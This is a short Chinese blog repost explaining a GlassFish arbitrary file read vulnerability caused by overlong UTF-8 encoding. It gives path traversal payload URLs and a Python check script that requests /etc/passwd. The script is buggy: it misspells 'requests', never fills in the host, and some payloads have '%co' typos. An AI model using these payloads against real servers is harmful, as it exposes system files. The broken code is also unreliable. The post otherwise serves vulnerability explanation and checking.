码迷,mamicode.com
首页 > 其他好文 > 详细

glassfish任意文件读取漏洞解析

时间:2018-01-10 01:12:42      阅读:236      评论:0      收藏:0      [点我收藏+]

标签:应用服务器   check   文件读取   div   跨平台   nic   span   stat   port   

一、背景:

glassfish是一款java编写的跨平台的开源的应用服务器。

二、漏洞原理:

与宽字节SQL注入一致,都是由于unicode编码歧义导致的。具体payload如下构造:

http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile

上述利用可以变形:

http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile

三、修复方案:

过滤掉. /等关键输入即可。

四、检查部分关键代码:

1 #glassfish any files readable vuln:
2 import requests
3 def check(ip,port):
4     url = "http://%s:%s/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
5     response = requsets.get(url)
6     if response.status_code == 200:
7         print "Vuln"

 

glassfish任意文件读取漏洞解析

标签:应用服务器   check   文件读取   div   跨平台   nic   span   stat   port   

原文地址:https://www.cnblogs.com/KevinGeorge/p/8254528.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!